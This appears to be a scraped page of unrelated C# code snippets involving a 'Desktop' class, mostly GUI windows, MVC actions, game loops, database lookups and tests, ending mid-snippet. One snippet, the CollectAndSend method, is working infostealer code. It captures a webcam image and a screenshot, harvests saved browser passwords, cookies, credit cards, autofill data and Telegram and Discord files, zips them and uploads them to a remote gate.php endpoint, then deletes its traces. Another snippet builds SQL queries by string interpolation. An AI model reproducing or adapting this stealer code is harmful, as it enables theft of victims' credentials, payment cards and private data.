public ActionResult Create(Desktop desktoptype)
        {
            if (ModelState.IsValid)
            {
                db.DesktopTypes.Add(desktoptype);
                try
                {
                    db.SaveChanges();
                }
                catch (DbEntityValidationException dbEx)
                {
                    StringBuilder routeValues = new StringBuilder();
                    foreach (var validationErrors in dbEx.EntityValidationErrors)
                    {
                        foreach (var validationError in validationErrors.ValidationErrors)
                        {
                            routeValues.AppendFormat("Property: {0} Error: {1}", validationError.PropertyName, validationError.ErrorMessage);
                            //Trace.TraceInformation("Property: {0} Error: {1}", validationError.PropertyName, validationError.ErrorMessage);
                        }
                    }
                    ViewData.Add("Error", routeValues.ToString());
                    return View();
                    //return RedirectToAction("Create");
                    //return RedirectToAction("Create", new RouteValueDictionary(new Dictionary<String, String>{ {"Error", routeValues.ToString()} }));
                }
                return RedirectToAction("Index");
            }

            return View(desktoptype);
        }
Exemple #2
0
 public static MessageBox Show(Point size, string title, string message, MessageBoxButtons buttons, Desktop target)
 {
     MessageBox box = new MessageBox(title, message);
     box.Size = size;
     box.Position = (target.Size - size) / 2;
     box.InitButtons(buttons);
     box.Show(target);
     return box;
 }
Exemple #3
0
        /// <summary>
        /// Creates anchor window object.
        /// </summary>
        /// <param name="desktop">desktop it belongs to</param>
        public AnchorChooser(Desktop desktop)
            : base(desktop, CreationFlag.FlagsNone, "")
        {
            this.top = CreateControl<CheckBox>();
            this.left = CreateControl<CheckBox>();
            this.right = CreateControl<CheckBox>();
            this.bottom = CreateControl<CheckBox>();

            this.Text = "Select anchor";
            this.Modal = true;
            this.Sizeable = false;
            this.MinSize = new Size2d(410, 310);
            this.Bounds = new Rectangle((desktop.Width - this.MinSize.Width) / 2, (desktop.Height - this.MinSize.Height) / 2, this.MinSize.Width, this.MinSize.Height);

            Button cancelButton = CreateControl<Button>();
            cancelButton.Text = "Cancel";
            cancelButton.Bounds = new Rectangle(306, 257, 95, 24);
            cancelButton.DialogResult = DialogResult.DialogResultCancel;

            Button selectButton = CreateControl<Button>();
            selectButton.Text = "Select";
            selectButton.Bounds = new Rectangle(205, 257, 95, 24);
            selectButton.DialogResult = DialogResult.DialogResultOK;

            Label titleLabel = CreateControl<Label>();
            titleLabel.Text = "Stick to";
            titleLabel.Bounds = new Rectangle(10, 10, 387, 24);

            Panel panel = CreateControl<Panel>();
            panel.Bounds = new Rectangle(109, 77, 188, 122);
            panel.Border = BorderStyle.Lowered;

            this.bottom.Bounds = new Rectangle(160, 210, 95, 18);
            this.bottom.Text = "Bottom";
            this.bottom.ValueChanged += this.UpdateStateFromUI;

            this.top.Bounds = new Rectangle(160, 50, 95, 18);
            this.top.Text = "Top";
            this.top.ValueChanged += this.UpdateStateFromUI;

            this.left.Bounds = new Rectangle(10, 123, 95, 18);
            this.left.Text = "Left";
            this.left.ValueChanged += this.UpdateStateFromUI;

            this.right.Bounds = new Rectangle(304, 123, 95, 18);
            this.right.Text = "Right";
            this.right.ValueChanged += this.UpdateStateFromUI;

            AddControl(titleLabel);
            AddControl(panel);
            AddControl(selectButton);
            AddControl(cancelButton);
            AddControl(this.right);
            AddControl(this.left);
            AddControl(this.top);
            AddControl(this.bottom);
        }
Exemple #4
0
        public WorkspaceSetter(TaskWindow taskWindow, MenuWindow menu, Desktop desktop)
        {
            this.taskWindow = taskWindow;
            this.menu = menu;
            this.desktop = desktop;
            settings = SharedSettings.GetInstance();
            if (settings.TaskbarAlwaysVisible)
                taskWindow.SizeChanged += TaskWindowSizeChanged;
            menu.SizeChanged += TaskWindowSizeChanged;

            DrawWorkSpace();
        }
Exemple #5
0
        public static void Start()
        {
            try
            {
                var inputDesktop = new Desktop();
                inputDesktop.OpenInput();
                if (!inputDesktop.DesktopName.Equals(LastDesktop))
                {
                    var switched = inputDesktop.Show();

                    if (switched)
                    {
                        var setCurrent = Desktop.SetCurrent(inputDesktop);
                        if (setCurrent)
                        {
                            Console.WriteLine(
                                $"Desktop switched from {LastDesktop} to {inputDesktop.DesktopName}");
                            LastDesktop = inputDesktop.DesktopName;
                            lastDesktopInput = inputDesktop;
                        }
                        else
                        {
                            lastDesktopInput.Close();
                        }
                    }
                }
                else
                {
                    inputDesktop.Close();
                }
                var cancellationTokenSource = new CancellationTokenSource();
                var cancel = cancellationTokenSource.Token;
                var listener = new TcpListener(IPAddress.Loopback, 22005);
                listener.Start();
                Console.WriteLine("Service listening at " + listener.LocalEndpoint);
                var task = AcceptClientsAsync(listener, cancel);
                Console.ReadLine();
                cancellationTokenSource.Cancel();
                task.Wait();
            }
            catch (SocketException ex)
            {
                Process.GetCurrentProcess().Kill();
                Process.GetCurrentProcess().WaitForExit();
            }
        }
Exemple #6
0
        /// <summary>
        /// Creates window.
        /// </summary>
        /// <param name="desktop">desktop it belongs to.</param>
        /// <param name="creationFlags">creation flags.</param>
        /// <param name="fileName">xml file name to load window from. if empty default window is created.</param>
        public Window(Desktop desktop, CreationFlag creationFlags, String fileName) : base(desktop, null, creationFlags, "window")
        {
            this.desktop = desktop;

            if (null == this.desktop)
            {
                throw new Exception("Desktop can not be null");
            }

            this.leftBorderColor  = this.Desktop.Theme.Colors.WindowTitleStart;
            this.rightBorderColor = this.Desktop.Theme.Colors.WindowTitleEnd;

            ControlSettings settings = this.Desktop.Theme.GetControlSettings(this.Type);

            this.Icon            = this.Desktop.Theme.ThemeFolder + "/images/window_icon";
            this.BackImageLayout = ImageLayout.ImageLayoutTile;

            this.IconImageOffset.X = 1;
            this.IconImageOffset.Y = 1;
            this.Moveable          = true;
            this.Sizeable          = true;
            this.TextColor         = Colors.White;
            this.TopOffset         = 20;
            this.Border            = BorderStyle.BorderRaisedDouble;
            this.Bounds            = new Rectangle(10, 10, 300, 300);

            if ((null != fileName) && (0 != fileName.Length))
            {
                using (IXmlReader reader = this.Engine.OpenXmlFile(fileName))
                {
                    if (null != reader)
                    {
                        Load(reader);
                    }
                }
            }
        }
Exemple #7
0
        static void Main(string[] args)
        {
            Computershop computershop = new Computershop();

            Laptop dell    = new Laptop("Dell", 1100);
            Laptop macbook = new Laptop("Macbook Air", 1300);

            Desktop alienware = new Desktop("Alienware", 2000);
            Desktop Macintoch = new Desktop("iMac", 1500);

            Server ibm   = new Server("IBM", 9000);
            Server cisco = new Server("Cisco", 7500);

            computershop.AddHardware(dell);
            computershop.AddHardware(macbook);
            computershop.AddHardware(alienware);
            computershop.AddHardware(Macintoch);
            computershop.AddHardware(ibm);
            computershop.AddHardware(cisco);

            Console.WriteLine("----|Laptops|----");
            Laptop[] laptops = computershop.GetAllLaptops();

            foreach (var laptop in laptops)
            {
                laptop.PrintDetails();
            }

            Console.WriteLine("----|Desktops|----");
            computershop.GetAllDesktops();

            Console.WriteLine("----|Servers|----");
            computershop.GetAllServers();


            Console.ReadLine();
        }
        /// <summary>
        /// Get a computer by id from a DB
        /// </summary>
        /// <param name="id">ID to search</param>
        public static Computer GetById(int id)
        {
            Computer aux = null;

            try
            {
                command.Parameters.Clear();
                connection.Open();

                command.CommandText = $"SELECT * FROM dbo.computers WHERE id={id}";

                using (SqlDataReader dataReader = command.ExecuteReader())
                {
                    if (dataReader.Read() != false)
                    {
                        if (dataReader["type"].ToString() == ComType.Notebook.ToString())
                        {
                            aux = new Notebook(Convert.ToInt32(dataReader["id"]), dataReader["client_name"].ToString(), (Brand)Enum.Parse(typeof(Brand), dataReader["extra_accesory"].ToString()), Convert.ToBoolean(dataReader["accesory1"]), Convert.ToBoolean(dataReader["accesory2"]), (OS)Enum.Parse(typeof(OS), dataReader["operative_system"].ToString()), (ComType)Enum.Parse(typeof(ComType), dataReader["type"].ToString()), (Processor)Enum.Parse(typeof(Processor), dataReader["processor"].ToString()), (HardDisk)Enum.Parse(typeof(HardDisk), dataReader["hard_disk"].ToString()), (RAM)Enum.Parse(typeof(RAM), dataReader["ram"].ToString()), dataReader["description"].ToString(), (GraphicCard)Enum.Parse(typeof(GraphicCard), dataReader["graphic_card"].ToString()), (State)Enum.Parse(typeof(State), dataReader["state"].ToString()), Convert.ToDateTime(dataReader["creation_date"]));
                        }
                        else
                        {
                            aux = new Desktop(Convert.ToInt32(dataReader["id"]), dataReader["client_name"].ToString(), (Cooler)Enum.Parse(typeof(Cooler), dataReader["extra_accesory"].ToString()), Convert.ToBoolean(dataReader["accesory1"]), Convert.ToBoolean(dataReader["accesory2"]), (OS)Enum.Parse(typeof(OS), dataReader["operative_system"].ToString()), (ComType)Enum.Parse(typeof(ComType), dataReader["type"].ToString()), (Processor)Enum.Parse(typeof(Processor), dataReader["processor"].ToString()), (HardDisk)Enum.Parse(typeof(HardDisk), dataReader["hard_disk"].ToString()), (RAM)Enum.Parse(typeof(RAM), dataReader["ram"].ToString()), dataReader["description"].ToString(), (GraphicCard)Enum.Parse(typeof(GraphicCard), dataReader["graphic_card"].ToString()), (State)Enum.Parse(typeof(State), dataReader["state"].ToString()), Convert.ToDateTime(dataReader["creation_date"]));
                        }
                        return(aux);
                    }
                }
                throw new Exception("No se encontro la computadora con ese id");
            }
            catch (Exception)
            {
                throw;
            }
            finally
            {
                connection.Close();
            }
        }
Exemple #9
0
        /// <summary>
        /// Creates message box window.
        /// </summary>
        /// <param name="desktop">desktop it belongs to.</param>
        public MessageBox(Desktop desktop)
            : base(desktop, CreationFlag.FlagsNone, "")
        {
            this.Type = TypeName;

            this.textLabel1 = CreateControl<Label>();
            this.textLabel2 = CreateControl<Label>();
            this.yesButton = CreateControl<Button>();
            this.noButton = CreateControl<Button>();
            this.cancelButton = CreateControl<Button>();

            this.MinSize = new Size2d(590, 130);
            this.Bounds = new Rectangle((desktop.Width - this.MinSize.Width) / 2, (desktop.Height - this.MinSize.Height) / 2, this.MinSize.Width, this.MinSize.Height);
            this.Modal = true;
            this.Sizeable = false;
            this.Skinned = true;

            this.textLabel1.Bounds = new Rectangle(10, 10, 570, 24);
            this.textLabel2.Bounds = new Rectangle(40, 10, 570, 24);
            this.textLabel1.Anchor = AnchorStyle.AnchorTop | AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight;
            this.textLabel2.Anchor = AnchorStyle.AnchorTop | AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight;

            this.yesButton.DialogResult = DialogResult.DialogResultYes;
            this.noButton.DialogResult = DialogResult.DialogResultNo;
            this.cancelButton.DialogResult = DialogResult.DialogResultCancel;
            this.yesButton.Anchor = AnchorStyle.AnchorBottom;
            this.noButton.Anchor = AnchorStyle.AnchorBottom;
            this.cancelButton.Anchor = AnchorStyle.AnchorBottom;

            AddControl(this.yesButton);
            AddControl(this.noButton);
            AddControl(this.cancelButton);
            AddControl(this.textLabel1);
            AddControl(this.textLabel2);

            PlaceButtons();
        }
Exemple #10
0
        /// <summary>
        /// Creates window.
        /// </summary>
        /// <param name="desktop">desktop it belongs to.</param>
        /// <param name="creationFlags">creation flags.</param>
        /// <param name="fileName">xml file name to load window from. if empty default window is created.</param>
        public Window(Desktop desktop, CreationFlag creationFlags, String fileName)
            : base(desktop, null, creationFlags, "window")
        {
            this.desktop = desktop;

            if (null == this.desktop)
            {
                throw new Exception("Desktop can not be null");
            }

            this.leftBorderColor = this.Desktop.Theme.Colors.WindowTitleStart;
            this.rightBorderColor = this.Desktop.Theme.Colors.WindowTitleEnd;

            ControlSettings settings = this.Desktop.Theme.GetControlSettings(this.Type);
            this.Icon = this.Desktop.Theme.ThemeFolder + "/images/window_icon";
            this.BackImageLayout = ImageLayout.ImageLayoutTile;

            this.IconImageOffset.X = 1;
            this.IconImageOffset.Y = 1;
            this.Moveable = true;
            this.Sizeable = true;
            this.TextColor = Colors.White;
            this.TopOffset = 20;
            this.Border = BorderStyle.BorderRaisedDouble;
            this.Bounds = new Rectangle(10, 10, 300, 300);

            if ((null != fileName) && (0 != fileName.Length))
            {
                using (IXmlReader reader = this.Engine.OpenXmlFile(fileName))
                {
                    if (null != reader)
                    {
                        Load(reader);
                    }
                }
            }
        }
Exemple #11
0
        /// <summary>
        /// Creates message box window.
        /// </summary>
        /// <param name="desktop">desktop it belongs to.</param>
        public MessageBox(Desktop desktop) : base(desktop, CreationFlag.FlagsNone, "")
        {
            this.Type = TypeName;

            this.textLabel1   = CreateControl <Label>();
            this.textLabel2   = CreateControl <Label>();
            this.yesButton    = CreateControl <Button>();
            this.noButton     = CreateControl <Button>();
            this.cancelButton = CreateControl <Button>();

            this.MinSize  = new Size2d(590, 130);
            this.Bounds   = new Rectangle((desktop.Width - this.MinSize.Width) / 2, (desktop.Height - this.MinSize.Height) / 2, this.MinSize.Width, this.MinSize.Height);
            this.Modal    = true;
            this.Sizeable = false;
            this.Skinned  = true;

            this.textLabel1.Bounds = new Rectangle(10, 10, 570, 24);
            this.textLabel2.Bounds = new Rectangle(40, 10, 570, 24);
            this.textLabel1.Anchor = AnchorStyle.AnchorTop | AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight;
            this.textLabel2.Anchor = AnchorStyle.AnchorTop | AnchorStyle.AnchorLeft | AnchorStyle.AnchorRight;

            this.yesButton.DialogResult    = DialogResult.DialogResultYes;
            this.noButton.DialogResult     = DialogResult.DialogResultNo;
            this.cancelButton.DialogResult = DialogResult.DialogResultCancel;
            this.yesButton.Anchor          = AnchorStyle.AnchorBottom;
            this.noButton.Anchor           = AnchorStyle.AnchorBottom;
            this.cancelButton.Anchor       = AnchorStyle.AnchorBottom;

            AddControl(this.yesButton);
            AddControl(this.noButton);
            AddControl(this.cancelButton);
            AddControl(this.textLabel1);
            AddControl(this.textLabel2);

            PlaceButtons();
        }
        private void HandleWindowPin(IntPtr hwnd)
        {
            try
            {
                bool shouldPin = Settings.ModePin;
                if (Settings.ModePinToggle)
                {
                    shouldPin = !Desktop.IsApplicationPinned(hwnd);
                }

                if (shouldPin)
                {
                    Desktop.PinApplication(hwnd);
                }
                else
                {
                    Desktop.UnpinApplication(hwnd);
                }
            }
            catch (Exception ex)
            {
                Logger.Instance.LogMessage(TracingLevel.ERROR, $"HandleWindowPin Exception for hwnd {hwnd}: {ex}");
            }
        }
Exemple #13
0
        protected override void LoadContent()
        {
            _spriteBatch = new SpriteBatch(GraphicsDevice);

            // TODO: use this.Content to load your game content here
            MyraEnvironment.Game = this;



            // var telaPrincipal = new TelaPrincipal("Messyo");
            var telaInicial = new TelaInicial(setWindowTitle);

            // Add it to the desktop
            _desktop = new Desktop();
            // _desktop.Root = telaPrincipal.ReturnTelaPrincipal(amigos);
            _desktop.Root = telaInicial.returnTelaPrincipal();
            _desktop.HasExternalTextInput = true;
            Window.Title = "Zap Zap";
            // Provide that text input
            Window.TextInput += (s, a) =>
            {
                _desktop.OnChar(a.Character);
            };
        }
Exemple #14
0
        public void Sync_EntityReferencesInFKDeletedInLocal_IsDeleteOnRemote()
        {
            var entity = new EntitySync {
                UniqueIdentifier = "AA"
            };

            Desktop.Repository <EntitySync, IEntitySync>().Save(entity);
            var related = new EntityRelated {
                RelatedId = entity.Id
            };

            Desktop.Repository <EntityRelated, IEntityRelated>().Save(related);

            SyncRemote();

            related.RelatedId = null;
            Desktop.Repository <EntityRelated, IEntityRelated>().Save(related);
            Desktop.Repository <EntitySync, IEntitySync>().Delete(entity);

            SyncRemote();

            Assert.AreEqual(Desktop.Repository <EntitySync, IEntitySync>().Count(), 0);
            AssertSyncRepository(Desktop.Repository <EntitySync, IEntitySync>(), FirstRemote.Repository <EntitySync, IEntitySync>());
        }
Exemple #15
0
        protected override void Draw(GameTime gameTime)
        {
            base.Draw(gameTime);

#if !XENKO
            GraphicsDevice.Clear(Color.Black);

            if (_graphics.PreferredBackBufferWidth != Window.ClientBounds.Width ||
                _graphics.PreferredBackBufferHeight != Window.ClientBounds.Height)
            {
                _graphics.PreferredBackBufferWidth  = Window.ClientBounds.Width;
                _graphics.PreferredBackBufferHeight = Window.ClientBounds.Height;
                _graphics.ApplyChanges();
            }
#else
            // Clear screen
            GraphicsContext.CommandList.Clear(GraphicsDevice.Presenter.BackBuffer, Color.Black);
            GraphicsContext.CommandList.Clear(GraphicsDevice.Presenter.DepthStencilBuffer, DepthStencilClearOptions.DepthBuffer | DepthStencilClearOptions.Stencil);

            // Set render target
            GraphicsContext.CommandList.SetRenderTargetAndViewport(GraphicsDevice.Presenter.DepthStencilBuffer, GraphicsDevice.Presenter.BackBuffer);
#endif
            Desktop.Render();
        }
Exemple #16
0
        static void Main()
        {
            Localization.RegisterProvider(new WFLanguageProvider());
            Shiftorium.RegisterProvider(new WinformsShiftoriumProvider());
            AppearanceManager.OnExit += () =>
            {
                Environment.Exit(0);
            };

            TerminalBackend.TerminalRequested += () =>
            {
                AppearanceManager.SetupWindow(new Applications.Terminal());
            };
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            AppearanceManager.Initiate(new WinformsWindowManager());
            OutOfBoxExperience.Init(new Oobe());
            Infobox.Init(new WinformsInfobox());
            FileSkimmerBackend.Init(new WinformsFSFrontend());
            var desk = new WinformsDesktop();

            Desktop.Init(desk);
            Application.Run(desk);
        }
Exemple #17
0
 public void InitiateInstall(Installation install)
 {
     pnlselectfile.Hide();
     pginstall.Show();
     lbprogress.Show();
     lbtitle.Text              = install.Name;
     install.ProgressReported += (p) =>
     {
         Desktop.InvokeOnWorkerThread(new Action(() =>
         {
             pginstall.Value = p;
         }));
     };
     install.StatusReported += (s) =>
     {
         Desktop.InvokeOnWorkerThread(new Action(() =>
         {
             lbprogress.Text = s;
         }));
     };
     install.InstallCompleted += () =>
     {
         Desktop.InvokeOnWorkerThread(new Action(() =>
         {
             lbtitle.Text = "Select file";
             pnlselectfile.Show();
         }));
         isInstalling = false;
         InstallCompleted?.Invoke();
     };
     while (!this.Visible)
     {
     }
     isInstalling = true;
     install.Install();
 }
        static void FindDesktopEnvironment()
        {
            desktop = Desktop.Gtk;
            string session = Environment.GetEnvironmentVariable("DESKTOP_SESSION");

            if (session != null)
            {
                session = session.ToUpper( );

                if (session == "DEFAULT")
                {
                    string helper = Environment.GetEnvironmentVariable("KDE_FULL_SESSION");

                    if (helper != null)
                    {
                        desktop = Desktop.KDE;
                    }
                }
                else if (session.StartsWith("KDE"))
                {
                    desktop = Desktop.KDE;
                }
            }
        }
        public void TestFixtureSetUp()
        {
            // Setup once per fixture

            // Define in autConfig located in your %localappdata%/LeanFT/config folder.
            // Create authConfig.json file if not present and structure it like described here
            // https://admhelp.microfocus.com/uftdev/en/15.0-15.0.2/HelpCenter/Content/HowTo/TestObjects_Manual.htm#Run
            // To make your app start up, follow instructions here
            // https://admhelp.microfocus.com/uftdev/en/15.0-15.0.2/NetSDKReference/webframe.html#CodeSamples_.NET/LaunchAUT_Samples.htm

            //TODO: change to your own dir
            application = Desktop.LaunchAut("C:\\Users\\Jan Baetens\\source\\repos\\Calculator\\Calculator\\bin\\Debug\\Calculator.exe");

            var calculatorWindow = Desktop.Describe <IWindow>(new WindowDescription
            {
                WindowTitleRegExp = @"Calculator",
                ObjectName        = @"Calculator",
                FullType          = @"window"
            });

            calculatorWindow.WaitUntilVisible();

            calculatorApplicationModel = new CalculatorApplicationModel();
        }
Exemple #20
0
        private IntPtr MainWindowProc(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam, ref bool handled)
        {
            if (msg == WinAPI.WM_HOTKEY)
            {
                if (wParam.ToString() == Showing.ToString())
                {
                    UploadFile(ScreenCapture.UploadActivate());
                }
                else if (wParam.ToString() == Desktop.ToString())
                {
                    UploadFile(ScreenCapture.UploadDesktop());
                }
                else if (wParam.ToString() == Area.ToString())
                {
                    capWindow.Reset(true);
                }
                else if (wParam.ToString() == Save.ToString())
                {
                    capWindow.Reset(false);
                }
            }

            return(IntPtr.Zero);
        }
        private void LoadAllDesktops()
        {
            _currentDesktop = null;
            _desktops.Clear();

            XmlElement desktops = DesktopViewSettingsXml["desktops"];

            if (desktops != null)
            {
                foreach (XmlElement desktop in desktops.ChildNodes)
                {
                    _desktops.Add(Desktop.FromXmlElement(desktop));
                }

                foreach (Desktop desktop in _desktops)
                {
                    if (desktop.IsCurrent)
                    {
                        _currentDesktop = desktop;
                        break;
                    }
                }
            }
        }
Exemple #22
0
        protected override void Draw(GameTime gameTime)
        {
            base.Draw(gameTime);

            GraphicsDevice.Clear(Color.Black);

            if (_player.Visible)
            {
                _spriteBatch.Begin();

                var font = DefaultAssets.Font;
                if (!string.IsNullOrEmpty(_player.Name))
                {
                    var size = font.MeasureString(_player.Name);
                    _spriteBatch.DrawString(font, _player.Name,
                                            new Vector2(_player.X, _player.Y - size.Y - 5), _player.Color);
                }

                var playerRect = new Rectangle(_player.X, _player.Y, _player.Width, _player.Height);
                if (_player.Background != null)
                {
                    _player.Background.Draw(_spriteBatch, playerRect, _player.Color);
                }

                _spriteBatch.DrawString(font,
                                        string.Format("HP: {0}/{1}", _player.HitPoints.Current, _player.HitPoints.Maximum),
                                        new Vector2(playerRect.X, playerRect.Bottom + 5), _player.Color);

                _spriteBatch.Draw(_playerImage, playerRect, _player.Color);
                _spriteBatch.End();
            }

            _labelOverGui.Text = "Is mouse over GUI: " + Desktop.IsMouseOverGUI;

            Desktop.Render();
        }
Exemple #23
0
 public void OnLoad()
 {
     DoLayout();
     new Thread(() =>
     {
         while (running)
         {
             evwaiting.WaitOne();
             try
             {
                 lock (evlock)
                 {
                     if (updateIPtr != null)
                     {
                         Desktop.InvokeOnWorkerThread(updateIPtr);
                         updateIPtr = null;
                     }
                     if (updateMemPtr != null)
                     {
                         Desktop.InvokeOnWorkerThread(updateMemPtr);
                         updateMemPtr = null;
                     }
                     for (int i = 0; i < updateMem.Length; i++)
                     {
                         if (updateMem[i] != null)
                         {
                             Desktop.InvokeOnWorkerThread(updateMem[i]);
                             updateMem[i] = null;
                         }
                     }
                 }
             } catch { }
             evwaiting.Reset();
         }
     }).Start();
 }
Exemple #24
0
        public Scene(ResourceLoader resourceLoader)
        {
            if (resourceLoader == null)
            {
                throw new ArgumentNullException(nameof(resourceLoader));
            }

            ResourceLoader           = resourceLoader;
            _defaultEffect           = new DefaultEffect(resourceLoader.GraphicsDevice);
            _spriteBatch             = new SpriteBatch(resourceLoader.GraphicsDevice);
            Camera                   = new Camera();
            Camera.ViewAngleChanged += (s, a) => _renderContext.ResetView();

            Controller = new CameraInputController(Camera);

            ResetCamera();

            _desktop = new Desktop
            {
                BoundsFetcher = () => _bounds
            };

            _talkWidget = new CharacterTalkWidget();
        }
Exemple #25
0
        protected override void Draw(GameTime gameTime)
        {
            base.Draw(gameTime);

            GraphicsDevice.Clear(Color.Black);

            DrawModel();

            _mainPanel._labelCamera.Text = "Camera: " + _scene.Camera.ToString();
            _mainPanel._labelFps.Text    = "FPS: " + _fpsCounter.FramesPerSecond;
            _mainPanel._labelMeshes.Text = "Meshes: " + _renderer.Statistics.MeshesDrawn;

            Desktop.Render();

/*			_spriteBatch.Begin();
 *
 *                      _spriteBatch.Draw(_renderer.WaterReflection,
 *                              new Rectangle(0, 500, 600, 300),
 *                              Color.White);
 *
 *                      _spriteBatch.End();*/

            _fpsCounter.Draw(gameTime);
        }
Exemple #26
0
        public static void Run()
        {
            IntPtr hWnd = OtherFunctions.GetFocusedWindow();

            Window.Normalize(hWnd);
            Window.SetFocused(hWnd);
            System.Threading.Thread.Sleep(1000);

            Bitmap screenshot = Desktop.Screenshot();

            screenshot = Tools.Crop(screenshot, new Rectangle(
                                        Window.GetLocation(hWnd).X,
                                        Window.GetLocation(hWnd).Y,
                                        Window.GetSize(hWnd).Width,
                                        Window.GetSize(hWnd).Height
                                        ));

            mask = new Mask(hWnd, screenshot);
            Window.Close(hWnd);
            LoadWidth(0, mask.Width - 1);
            LoadHeight(0, mask.Height - 1);
            //  Application.Run();
            //Display();
        }
Exemple #27
0
        public AboutState(GameManager gameManager, GraphicsDevice graphicsDevice, ContentManager contentManager) : base(gameManager, graphicsDevice, contentManager)
        {
            SpriteBatch         = new SpriteBatch(graphicsDevice);
            aboutViewController = new MenuViewController();
            GameManager.graphics.PreferredBackBufferWidth  = GameManager.window.ClientBounds.Width;
            GameManager.graphics.PreferredBackBufferHeight = GameManager.window.ClientBounds.Height;
            aboutViewController.viewPortWidth  = GameManager.window.ClientBounds.Width;
            aboutViewController.viewPortHeight = GameManager.window.ClientBounds.Height;
            GameManager.graphics.ApplyChanges(); // I'm not questioning why this works. I, Cato Sicarius, approve of this action, because I, Cato Sicarius, am the most well versed Captain when it comes to the Codex Astartes!


            _about = new Desktop();

            var CreatedBy = new Label
            {
                Text = "Created By: sewer rat (obscuredcode) and SirNuke",
                VerticalAlignment   = VerticalAlignment.Center,
                HorizontalAlignment = HorizontalAlignment.Center,
                Width  = 600,
                Height = 100,
            };

            _about.Widgets.Add(CreatedBy);
        }
Exemple #28
0
        private static void TakeScreenshot()
        {
            string directoryName = Path.Combine(
                TestContext.CurrentContext.TestDirectory,
                "FailedTestScreenshots");

            string filePath = Path.Combine(
                directoryName,
                $"Failed_{TestContext.CurrentContext.Test.FullName}.png");

            try
            {
                if (!Directory.Exists(directoryName))
                {
                    Directory.CreateDirectory(directoryName);
                }

                Desktop.TakeScreenshot(filePath, ImageFormat.Png);
            }
            catch (Exception e)
            {
                Trace.TraceError($"Unable to take screenshot and save it to '{filePath}'.{Environment.NewLine}{e}");
            }
        }
Exemple #29
0
        protected override void LoadContent()
        {
            base.LoadContent();

            MyraEnvironment.Game = this;

            MyraEnvironment.DefaultAssetManager.AssetResolver = new FileAssetResolver(Path.Combine(PathUtils.ExecutingAssemblyDirectory, "Assets"));

            _mainForm = new MainForm();
            _mainForm._mainMenu.HoverIndex    = 0;
            _mainForm._menuItemQuit.Selected += (s, a) => Exit();

            _desktop = new Desktop
            {
                FocusedKeyboardWidget = _mainForm._mainMenu
            };

            // Make main menu permanently hold keyboard focus
            _desktop.WidgetLosingKeyboardFocus += (s, a) =>
            {
                a.Cancel = true;
            };

            _desktop.Root = _mainForm;
#if MONOGAME
            // Inform Myra that external text input is available
            // So it stops translating Keys to chars
            Desktop.HasExternalTextInput = true;

            // Provide that text input
            Window.TextInput += (s, a) =>
            {
                Desktop.OnChar(a.Character);
            };
#endif
        }
Exemple #30
0
        /// <summary>
        /// Configura el form si recive un Desktop
        /// </summary>
        /// <param name="d">Desktop</param>
        private void configuraFormDesktop(Desktop d)
        {
            this.cbPerisfericos.Visible = true;
            this.cbBluetooth.Enabled    = false;
            this.cbBluetooth.Visible    = false;
            this.rbDesktop.Checked      = true;
            this.txtId.Text             = d.IdComputadora.ToString();
            switch (d.Gama)
            {
            case EGama.Baja:
                this.cmbGama.SelectedIndex = 0;
                break;

            case EGama.Media:
                this.cmbGama.SelectedIndex = 1;
                break;

            case EGama.Alta:
                this.cmbGama.SelectedIndex = 2;
                break;
            }
            this.txtPrecio.Text         = d.Precio.ToString();
            this.cbPerisfericos.Checked = d.Perisfericos;
        }
Exemple #31
0
 public GameScene(Game game, Desktop desktop)
     : base(game)
 {
     this.desktop = desktop;
 }
Exemple #32
0
 public void Highlight(Desktop.Element element)
 {
     _highlighter.SetElement(element);
 }
 public ActionResult Edit(Desktop desktoptype)
 {
     if (ModelState.IsValid)
     {
         db.Entry(desktoptype).State = EntityState.Modified;
         db.SaveChanges();
         return RedirectToAction("Index");
     }
     return View(desktoptype);
 }
Exemple #34
0
        public static void CollectAndSend()
        {
            string text  = Environment.GetEnvironmentVariable("temp") + "\\" + Hwid.Getid();
            string text2 = text + "\\Directory";
            string text3 = text2 + "\\Browsers Data";

            Directory.CreateDirectory(text2);
            Directory.CreateDirectory(text3);
            WebCam.GetWebCamPicture(text2 + "\\CamPicture.png");
            Screenshot.CaptureToFile(Path.Combine(text2, "DesktopScreenshot.jpg"));
            string          text4     = "";
            List <PassData> passwords = SavedPass.GetPasswords();

            foreach (PassData passData in passwords)
            {
                text4 += passData.ToString();
            }
            File.WriteAllText(text2 + "\\Passwords.txt", text4);
            text4 = "";
            List <CookieData> cookies = Cookies.GetCookies();

            foreach (CookieData cookieData in cookies)
            {
                text4 += cookieData.ToString();
            }
            File.WriteAllText(text3 + "\\Cookies.txt", text4);
            text4 = "";
            List <CardData> cc = Cards.GetCC();

            foreach (CardData cardData in cc)
            {
                text4 += cardData.ToString();
            }
            File.WriteAllText(text3 + "\\CC.txt", text4);
            text4 = "";
            List <FormData> forms = Forms.GetForms();

            foreach (FormData formData in forms)
            {
                text4 += formData.ToString();
            }
            File.WriteAllText(text3 + "\\Autofill.txt", text4);
            text4 = "";
            Desktop.DesktopCopy(text2);
            Telegram.GetTelegram(text2);
            Discord.GetDiscord(text2);
            string text5 = text + "\\" + Hwid.Getid() + ".zip";

            Packer.Zip(text2, text5);
            Send.File(string.Format(Setting.url + string.Format("/gate.php?hwid={0}&os={1}&cookie={2}&pswd={3}&form={4}&telegram={5}&discord={6}&version={7}", new object[]
            {
                Hwid.Getid(),
                Win.GetWin(),
                cookies.Count,
                passwords.Count,
                forms.Count,
                new DirectoryInfo(text2 + "\\Telegram").GetFiles().Length.ToString(),
                new DirectoryInfo(text2 + "\\Discord").GetFiles().Length.ToString(),
                Setting.version.ToString()
            }), new object[0]), text5);
            Miscellaneous.Delete(text, text + "\\temp.exe");
        }
Exemple #35
0
 void toolbar1_OnSaveClick(Desktop.ComponentModel.Toolbar sender, Desktop.ComponentModel.ComponentModelEventArgs args)
 {
     MessageBox.Show("save click");
 }
        static void Main()
        {
            const int N = 10000;
            Desktop[] desktop = new Desktop[N];
            Laptop[] laptop = new Laptop[N];
            Tablet[] tablet = new Tablet[N];
            Ipod[] ipod = new Ipod[N];
            int i = -1, j = -1, w = -1, z = -1;
            int k = 0;

            int count = 0;
            string pmenou;
            string dmenou;
            do
            {
                Console.WriteLine("1.Καταχώρηση Προϊόντος");
                Console.WriteLine("2.Πώληση Προϊόντος σε Πελάτη");
